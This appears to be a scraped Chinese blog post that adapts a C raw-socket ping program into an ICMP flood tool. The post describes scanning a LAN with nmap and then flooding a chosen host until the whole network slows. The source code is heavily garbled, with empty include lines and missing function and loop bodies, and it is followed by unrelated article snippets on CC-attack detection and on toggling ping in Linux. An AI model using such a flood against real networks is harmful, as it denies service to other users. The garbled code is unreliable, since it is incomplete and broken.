通過不斷的ping區域網中的某個主機,可以達到幾乎完全占用那個主機網速的效果,但自己的網速也廢了,整個區域網的上網基本上也廢來。所以這是一種同歸於盡的攻擊方式,實用性基本上不存在了。之所以做這件事,是因為最近在研讀 tcp/ip詳解卷一 這本書,所以用**實現了ping的功能,並且稍加改進成為了ping攻擊的**。
一、開發環境:red hat enterprise linux 6.0
編譯工具:gcc
二、程式流程:
三、程式原始碼:
#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define packet_size 4096//緩衝區大小
struct timeval timeout=;//設定socket超時時間5s
fd_set fds;//檔案描述符集合,可以監視該集合的描述符
char sendpacket[packet_size];//傳送緩衝區
char recvpacket[packet_size];//接收緩衝區
int sockfd,datalen=56;//套接字
int nsend = 0,nreceived = 0;//傳送和接收計數
struct sockaddr_in dest_addr;//目的ip位址
pid_t pid;//程序id號
struct sockaddr_in from;//源ip位址
struct timeval tvrecv;//時間結構體
unsigned short cal_chksum(unsigned short* addr,int len);//校驗和計算函式
int pack(int pack_no);//打包函式
void send_packet(void);//傳送包函式
void tv_sub(struct timeval *out,struct timeval *in);//時間計算函式\
unsigned short cal_chksum(unsigned short* addr,int len)
if(nleft == 1)
sum = (sum>>16)+(sum&0xffff);
answer=~sum;
return answer;
}int pack(int pack_no)
void send_packet()
else if(ret==0)
else
// sleep(1);
if(nsend==0x7fffffff)
nsend=0;
}}void tv_sub(struct timeval* out,struct timeval* in)
out->tv_sec -= in->tv_sec;
}int main(int argc,char* argv)
if((protocol = getprotobyname("icmp"))==null)
if((sockfd=socket(af_inet,sock_raw,protocol->p_proto))<0)
setuid(getuid());
setsockopt(sockfd,sol_socket,so_rcvbuf,&size,sizeof(size));//設定接收緩衝區大小
setsockopt(sockfd,sol_socket,so_sndbuf,&size,sizeof(size));//設定傳送緩衝區大小
bzero(&dest_addr,sizeof(dest_addr));//初始化填充位址結構體
dest_addr.sin_family = af_inet;
if(inaddr = inet_addr(argv[1]) == inaddr_none)//不能從輸入引數1直接獲取到ip位址
memcpy((char*)&dest_addr.sin_addr,host->h_addr,host->h_length);
}else
dest_addr.sin_addr.s_addr = inet_addr(argv[1]);//直接填充ip位址
while(1)
return 0;
}四、攻擊過程
第一步:利用nmap工具檢視區域網內的活躍ip;
第三步:在筆記本上檢查效果,發現網頁根本打不開,時間長了。操作還有點卡,整個區域網上的機子都是這樣,所以說同歸於盡嘛! 應急CC攻擊排查(Linux環境)
cc攻擊就是利用大量 伺服器對目標計算機發起大量連線,導致目標伺服器資源枯竭造成拒絕服務。那麼如何判斷查詢cc攻擊呢?本文主要介紹了一些linux下判斷cc攻擊的命令。檢視所有80埠的連線數 netstat nat grep i 80 wc l 對連線的ip按連線數量進行排序 netstat anp...
linux下實現的ping程式
一 設計目的 ping程式是我們使用的比較多的用於測試網路連通性的程式。ping程式基於icmp,使用icmp的回送請求和回送應答來工作。由計算機網路課程知道,icmp是基於ip的乙個協議,icmp包通過ip的封裝之後傳遞。課程設計中選取ping程式的設計,其目的是通過ping程式的設計,能初步掌握...
Linux禁止ping 開啟ping設定
linux預設是允許ping響應的,系統是否允許ping由2個因素決定的 a 核心引數,b 防火牆,需要2個因素同時允許才能允許ping,2個因素有任意乙個禁ping就無法ping。具體的配置方法如下 a 核心引數設定 1 允許ping設定 a.臨時允許ping操作的命令為 echo 0 proc ...